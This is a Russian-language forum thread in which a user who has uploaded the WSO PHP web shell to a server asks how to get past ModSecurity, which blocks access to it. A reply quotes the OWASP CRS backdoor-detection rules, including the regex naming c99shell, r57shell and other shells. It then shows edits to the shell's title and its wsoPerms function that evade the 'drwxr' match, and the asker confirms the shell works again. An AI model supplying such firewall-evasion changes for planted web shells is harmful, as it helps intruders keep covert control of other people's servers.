mod_security блочит доступ к wso

Discussion in 'Песочница' started by blackbox, 23 Apr 2017.

  1. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Я загружаю свой шелл на фтп, потом мой скрипт эти линки обходит, но когда я пытаюсь получить доступ к шеллу, получаю что документ не найден (Not found). В логах сервера отразилось вот это:


    Code:
    [Sun Apr 23 07:28:29 2017] [error] [client 194.165.16.76] ModSecurity: Access denied with code 404 (phase 4). Pattern match "(?:<title>[^<]*?(?:\\\\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\\\\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\\\\b|\\\\.::(?:news remote php shell injection::\\\\.| rhtools\\\\b)|ph(?:p(?:(?: commander|-terminal)\\\\b|remot ..." at RESPONSE_BODY. [id "950922"] [msg "Backdoor access"] [severity "CRITICAL"] [hostname "www.default.com"] [uri "/picture_library/db-update.php"] [unique_id "WPyd7X8AAAEAACErBnMAAAAh"]
    [Sun Apr 23 07:28:35 2017] [error] [client 194.165.16.76] ModSecurity: Access denied with code 404 (phase 4). Pattern match "(?:<title>[^<]*?(?:\\\\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\\\\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\\\\b|\\\\.::(?:news remote php shell injection::\\\\.| rhtools\\\\b)|ph(?:p(?:(?: commander|-terminal)\\\\b|remot ..." at RESPONSE_BODY. [id "950922"] [msg "Backdoor access"] [severity "CRITICAL"] [hostname "www.default.com"] [uri "/picture_library/db-update.php"] [unique_id "WPyd838AAAEAAAQUJ-YAAAAY"]
    [Sun Apr 23 07:28:40 2017] [error] [client 194.165.16.76] ModSecurity: Access denied with code 404 (phase 4). Pattern match "(?:<title>[^<]*?(?:\\\\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\\\\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\\\\b|\\\\.::(?:news remote php shell injection::\\\\.| rhtools\\\\b)|ph(?:p(?:(?: commander|-terminal)\\\\b|remot ..." at RESPONSE_BODY. [id "950922"] [msg "Backdoor access"] [severity "CRITICAL"] [hostname "www.default.com"] [uri "/picture_library/db-update.php"] [unique_id "WPyd@H8AAAEAABxjwjcAAAAd"]
    [Sun Apr 23 07:46:37 2017] [error] [client 194.165.16.76] ModSecurity: Access denied with code 404 (phase 4). Pattern match "(?:<title>[^<]*?(?:\\\\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\\\\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\\\\b|\\\\.::(?:news remote php shell injection::\\\\.| rhtools\\\\b)|ph(?:p(?:(?: commander|-terminal)\\\\b|remot ..." at RESPONSE_BODY. [id "950922"] [msg "Backdoor access"] [severity "CRITICAL"] [hostname "www.default.com"] [uri "/picture_library/db-update.php"] [unique_id "WPyiLX8AAAEAACE1CxoAAAAr"]
    Как можно обойти его?
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Похоже, что блочит по тайтлу, который отсылается в ответе.

    В исходнике WSO попробуй поменять:

    Code:
    <title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
    
    на

    Code:
    <title>XXX</title>
    
    Если не поможет, то используй что-то более редкое.
     
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Внимательнее изучил регулярку:

    Code:
    SecRule REQUEST_HEADERS_NAMES "x_(?:key|file)\b" "phase:2,rev:'2.0.5',t:none,t:lowercase,ctl:auditLogParts=+E,pass,nolog,auditlog,msg:'Backdoor access',id:'950110',tag:'MALICIOUS_SOFTWARE/TROJAN',tag:'WASCTC/WASC-01',tag:'OWASP_TOP_10/A7',tag:'PCI/5.1.1',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-MALICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%{matched_var}"
    SecRule REQUEST_FILENAME "root\.exe" \
    "phase:2,rev:'2.0.5',t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,pass,nolog,auditlog,msg:'Backdoor access',id:'950921',tag:'MALICIOUS_SOFTWARE/TROJAN',tag:'WASCTC/WASC-01',tag:'OWASP_TOP_10/A7',tag:'PCI/5.1.1',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-MALICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%{matched_var}"
    SecRule RESPONSE_BODY "(?:<title>[^<]*?(?:\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\b|\.::(?:news remote php shell injection::\.| rhtools\b)|ph(?:p(?:(?: commander|-terminal)\b|remoteview)|vayv)|myshell)|\b(?:(?:(?:microsoft windows\b.{0,10}?\bversion\b.{0,20}?\(c\) copyright 1985-.{0,10}?\bmicrosoft corp|ntdaddy v1\.9 - obzerve \| fux0r inc)\.|(?:www\.sanalteror\.org - indexer and read|haxplor)er|php(?:konsole| shell)|c99shell)\b|aventgrup\.<br>|drwxr))" \
    "phase:4,rev:'2.0.5',t:none,ctl:auditLogParts=+E,pass,nolog,auditlog,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',tag:'WASCTC/WASC-01',tag:'OWASP_TOP_10/A7',tag:'PCI/5.1.1',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setvar:tx.anomaly_score=+%{tx.error_anomaly_score},setvar:tx.%{rule.id}-MALICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%{matched_var}"
    
    Тайтл, вроде, не при чём, но хуже не будет. Замени так же эту функцию:

    PHP:
    function wsoPerms($p) {

       if ((
    $p 0xC000) == 0xC000)$i 's';
       elseif ((
    $p 0xA000) == 0xA000)$i 'l';
       elseif ((
    $p 0x8000) == 0x8000)$i '-';
       elseif ((
    $p 0x6000) == 0x6000)$i 'b';
       elseif ((
    $p 0x4000) == 0x4000)$i 'd';
       elseif ((
    $p 0x2000) == 0x2000)$i 'c';
       elseif ((
    $p 0x1000) == 0x1000)$i 'p';
       else 
    $i 'u';
       
    $i .= (($p 0x0100) ? 'r' '-');
       
    $i .= (($p 0x0080) ? 'w' '-');
       
    $i .= (($p 0x0040) ? (($p 0x0800) ? 's' 'x' ) : (($p 0x0800) ? 'S' '-'));
       
    $i .= (($p 0x0020) ? 'r' '-');
       
    $i .= (($p 0x0010) ? 'w' '-');
       
    $i .= (($p 0x0008) ? (($p 0x0400) ? 's' 'x' ) : (($p 0x0400) ? 'S' '-'));
       
    $i .= (($p 0x0004) ? 'r' '-');
       
    $i .= (($p 0x0002) ? 'w' '-');
       
    $i .= (($p 0x0001) ? (($p 0x0200) ? 't' 'x' ) : (($p 0x0200) ? 'T' '-'));
       return 
    $i;
    }

    на

    PHP:
    function wsoPerms($p) {
       return 
    substr(sprintf('%o'$p), -4);
    }
     
    SooLFaa and blackbox like this.
  4. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Да, тайтл я менял, он похоже действительно не при чем. А где ты взял полный регексп и при чем тут wsoPerms? В регекспе нашел только "drwxr" связанное с правами, и действительно шелл после изменения функции заработал. Можно небольшой пояснение к регулярке? Последний фрагмент именно и палился?
     
    #4 blackbox, 24 Apr 2017
    Last edited: 24 Apr 2017
  5. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Из всего, что присутствует в регулярке, в респонсе WSO есть только drwxr, он и палился. Функция wsoPerms возвращает буквенный формат прав доступа. В твоём случае, меняем функцию на вывод цифрового обозначения. А регулярка дефолтная, гуглится.
     
    blackbox likes this.
  6. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Спасибо большое, решило мою проблему.